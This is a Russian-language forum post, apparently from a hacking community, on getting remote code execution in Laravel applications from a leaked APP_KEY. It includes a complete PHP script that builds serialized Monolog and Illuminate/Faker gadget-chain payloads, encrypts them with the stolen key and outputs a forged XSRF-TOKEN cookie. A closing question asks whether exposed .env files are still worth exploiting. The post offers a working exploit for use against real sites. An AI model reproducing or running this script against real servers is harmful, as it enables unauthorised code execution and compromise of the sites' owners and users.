В общем, не уязвимость, а скорее метод эксплуатации. По всей видимости, лара была написана под вдохновлением от RoR. Давно известный факт, что при лике секретного ключа рельсов, у атакующего автоматически появляется RCE. Ну, а Laravel чем плох? Ответ - ничем! Наверно многие замечали наличие строки APP_KEY в конфигурационном файле .env, который является стандартным для каждой сборки (как всегда, не точно). Так же, подробную инфу об параметрах и окружении можно увидеть в отладочной информации, если её по каким либо причинам забыли отключить. Аппкей светится и там. Так вот, эта строка является ключом для шифрования данных, в частности, информации о текущей сессии и инфе для CSRF протекции, на клиенте, в виде кук. В подавляющем числе случаев, там лежат сериализованные данные, которые в последствии десериализуются средствами функции unserialize, ну вы поняли... имеем слепое выполнение кода! Долгое время использовал архив с развёрнутым фреймворком для генерции нагрузки, но по некоторым причинам это меня задолбало, что вылилось в написание небольшого скрипта, которым не стыдно поделиться: PHP: <?php(!isset($argv[3])?die("\nphp ".basename(__FILE__)." CALLABLE_FUNCTION FUNCTION_ARG APP_KEY [IS_LEGACY]\n\n"):@list($x,$func,$arg,$key,$leg)=$argv);print "\nXSRF-TOKEN=".encrypt($key, payload($func, $arg, $leg))."\n\n";function encrypt($key, $value, $cipher = 'AES-256-CBC'){ $key = base64_decode($key); $iv = substr(md5(rand(0,PHP_INT_MAX)),0,16); $value = openssl_encrypt($value, $cipher, $key, 0, $iv); $iv = base64_encode($iv); $mac = hash_hmac('sha256', $iv.$value, $key); $json = json_encode(compact('iv', 'value', 'mac')); return base64_encode($json);}function payload($func, $arg, $leg){ return urldecode($leg?'O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:6:"socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler";r:2;s:13:"%00*%00bufferSize";i:-1;s:9:"%00*%00buffer";a:1:{i:0;a:2:{i:0;s:'.strlen($arg).':"'.$arg.'";s:5:"level";N;}}s:8:"%00*%00level";N;s:14:"%00*%00initialized";b:1;s:14:"%00*%00bufferLimit";i:-1;s:13:"%00*%00processors";a:2:{i:0;s:7:"current";i:1;s:'.strlen($func).':"'.$func.'";}}}':'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"%00*%00events";O:15:"Faker\Generator":1:{s:13:"%00*%00formatters";a:1:{s:8:"dispatch";s:'.strlen($func).':"'.$func.'";}}s:8:"%00*%00event";s:'.strlen($arg).':"'.$arg.'";}');} Полное покрытие версий мне не известно, но чаще приходилось сталкиваться с двумя вариантами, которые учтены в коде. C версии 5.5.42, дефолтная десериализация кук выключена, следовательно способ работать не будет. Но проверять, всё же, стоит, так как есть вариант включения этого метода и вполне возможно, что на рабочих проектах его будут оставлять для обратной совместимости с чем либо. Ну и на последок как выглядит APP_KEY.
Иногда попадается не закрытый .env с этим ключом, имеет вообще смысл со всем этим геммороиться и разбираться или уже всё пропатчено давно?
